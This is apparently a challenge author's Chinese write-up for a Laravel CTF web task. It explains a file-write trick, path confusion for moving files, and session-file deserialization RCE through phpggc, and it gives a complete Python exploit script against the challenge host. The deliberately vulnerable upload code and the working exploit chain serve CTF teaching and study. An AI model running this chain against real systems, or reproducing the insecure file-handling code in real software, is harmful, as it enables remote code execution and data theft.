#### 非预期  
laravel 低版本CVE-2018-15133，直接反序列化RCE了，出题人心态炸裂

#### 预期

此题来源于真实业务改编

#### 写文件  
Docker/app/app/Http/Controllers/IndexController.php  
第一步的考点是写文件，估计大部分人访问upload接口都是500  
因为file_put_contents是不能跨目录新建文件的  
```php  
public function upload()  
{

if(strpos($_POST["filename"], '../') !== false) die("???");  
file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));  
echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];  
}  
```  
由于init目录只能内网访问，md5($_SERVER["REMOTE_ADDR"])这个目录是不存在的，所以file_put_contents无法写成功  
返回会一直500，这个本地搭建开debug就能发现

第一个考点就是如何让文件落地，file_put_contents有个trick，如果写入的文件名是xxxxx/.  
那么/.会被忽略，会直接写入xxxxx文件

所以我们传入filename=.  
即可在/var/tmp下生成md5($_SERVER["REMOTE_ADDR"])文件  
#### move  
文件落地以后就可以通过move/log路由对文件进行移动了  
```php  
public function moveLog($filename)  
{

$data =date("Y-m-d");  
if(!file_exists(storage_path("logs")."/".$data)){  
mkdir(storage_path("logs")."/".$data);  
}  
$opts = array(  
'http'=>array(  
'method'=>"GET",  
'timeout'=>1,//单位秒  
)  
);

$content =
file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));  
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);  
echo storage_path("logs")."/".$data."/".$filename;  
}  
```  
首先讲一个坑  
```php  
Route::get('/tmp/{filename}', function ($filename) {  
readfile("/var/tmp/".$filename);  
})->where('filename', '(.*)');  
```  
这个路由是读不到flag的，因为nginx会对路径进行判断，如果输入的../超过了根目录，那么会直接返回400

| 请求路径 | 状态码 |   
| -------- | ----- |   
| GET /../ HTTP/1.1 | 400 |   
| GET /123123/../ | 200 |   
| GET /%2e%2e%2f | 400 |   
| GET /123123/3123123/../ | 200 |   
| GET /123123/3123123/../../ | 200 |   
| GET /123123/3123123/../../../ | 400 | 

这个是nginx的判断，所以无法../跳到根目录

好，那movelog函数能做什么  
他会去请求 `http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename`  
然后把返回结果写入  
```php  
$data =date("Y-m-d");  
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);  
```

我们可以输入 `?filename=../${md5(ip)}` 访问到我们的文件  
然后会写入到log目录下  
由于上面我们虽然让文件落地了，但是文件名是md5 ip，不可控，但是我们可以通过url和路径的差异，用？或者#截断  
所以输入 ../${md5(ip)}?/../../abcd  
即可将我们落地的文件移动到任意目录下的任意文件名

当然这里还是受nginx影响，我们只能在storage里面任意写入文件

然而laravel的session也存在在storage目录里，我们直接覆盖session文件进行反序列化  
本题用的laravel 5.5.39，phpggc里就有现成的反序列化链

laravel的session文件名不是常规的SESS_sessid，所以我放出了APP_KEY，本地搭建即可看到session文件名，  
与远程是一样的

exp.py可以直接打获取flag(没有一个人用预期做的，心态崩了，随便写写wp  
```python  
import requests  
import os  
import base64  
import urllib.request  
import re

remote_ip = "39.104.19.182" #题目ip  
md5_ip = "e4cfc06ac6f1336028e43916cf1d75d3" #你自己的ip md5  
phpggc_data = base64.b64encode(os.popen('php phpggc Laravel/RCE4 system "cat
/flag"').read().encode("utf8"))

paramsPost = {"filename": "tmp/" + md5_ip}  
headers = {"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0)
Gecko/20100101 Firefox/77.0",  
"Connection": "close", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-
HK;q=0.5,en-US;q=0.3,en;q=0.2",  
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-
urlencoded"}  
cookies = {"sessionid": "8k648uvlg2brp93id13fq0vvy6jaticd1",  
"csrftoken":
"anYz8P4YYYwqB7yhFfPztk5rfp97qaBzzwtUeCswsfWroUzNgiD58QzbKE6OT2Dv",  
"laravel_session":
"eyJpdiI6ImVmbllpOGtVeXQxQjZ4cXFEM3k0eXc9PSIsInZhbHVlIjoidVNvTWNocGp4cEdPdG5rWXVEVFdIb0UzRG5KcThxTk5uU3lKdjFXbzRMdXlHUkVrcFNtV0ZRa1JUYUhSUXJrSlduZHU1MDJWZUZVaG1qODFxRjJoakE9PSIsIm1hYyI6ImYyZTQ3ZmZkNDRlYjQ5MGY2OGUzMzM1NjlkYTZjOTc1MGUzZGQyMWIwYTBkYzgyNmUyNjA5NTJjNWU0NGE1YzMifQ%3D%3D"}  
response = requests.post("http://" + remote_ip + "/rm", data=paramsPost,
headers=headers, cookies=cookies)

print("clear file")  
print("Response body: %s" % response.content)

paramsPost = {"content":phpggc_data,"filename":"."}  
headers =
{"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-
Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-
TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip,
deflate","Content-Type":"application/x-www-form-urlencoded"}  
cookies =
{"sessionid":"8k648uvlg2brp93id13fq0vvy6jaticd1","csrftoken":"anYz8P4YYYwqB7yhFfPztk5rfp97qaBzzwtUeCswsfWroUzNgiD58QzbKE6OT2Dv","laravel_session":"eyJpdiI6ImVmbllpOGtVeXQxQjZ4cXFEM3k0eXc9PSIsInZhbHVlIjoidVNvTWNocGp4cEdPdG5rWXVEVFdIb0UzRG5KcThxTk5uU3lKdjFXbzRMdXlHUkVrcFNtV0ZRa1JUYUhSUXJrSlduZHU1MDJWZUZVaG1qODFxRjJoakE9PSIsIm1hYyI6ImYyZTQ3ZmZkNDRlYjQ5MGY2OGUzMzM1NjlkYTZjOTc1MGUzZGQyMWIwYTBkYzgyNmUyNjA5NTJjNWU0NGE1YzMifQ%3D%3D"}  
response = requests.post("http://"+remote_ip+"/upload", data=paramsPost,
headers=headers, cookies=cookies)

print("upload file")  
print("Response body: %s" % response.content)

response =
urllib.request.urlopen("http://"+remote_ip+"/move/log/../"+md5_ip+"%3f/../../framework/sessions/BDDLh0HsqaXe54sPFUuzMT7azrLUC9JGtw1SNdZV")  
print("move file")  
print("Response body: %s" % response.read().decode('utf-8'))

headers =
{"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-
Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-
TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}  
cookies =
{"sessionid":"8k648uvlg2brp93id13fq0vvy6jaticd1","csrftoken":"anYz8P4YYYwqB7yhFfPztk5rfp97qaBzzwtUeCswsfWroUzNgiD58QzbKE6OT2Dv","laravel_session":"eyJpdiI6ImVmbllpOGtVeXQxQjZ4cXFEM3k0eXc9PSIsInZhbHVlIjoidVNvTWNocGp4cEdPdG5rWXVEVFdIb0UzRG5KcThxTk5uU3lKdjFXbzRMdXlHUkVrcFNtV0ZRa1JUYUhSUXJrSlduZHU1MDJWZUZVaG1qODFxRjJoakE9PSIsIm1hYyI6ImYyZTQ3ZmZkNDRlYjQ5MGY2OGUzMzM1NjlkYTZjOTc1MGUzZGQyMWIwYTBkYzgyNmUyNjA5NTJjNWU0NGE1YzMifQ%3D%3D"}  
response = requests.get("http://"+remote_ip+"/tmp/123", headers=headers,
cookies=cookies)

print("exploit success!")  
res = response.content.decode("utf-8")  
print(re.search(r"(.*)",res,re.S).group(1))

```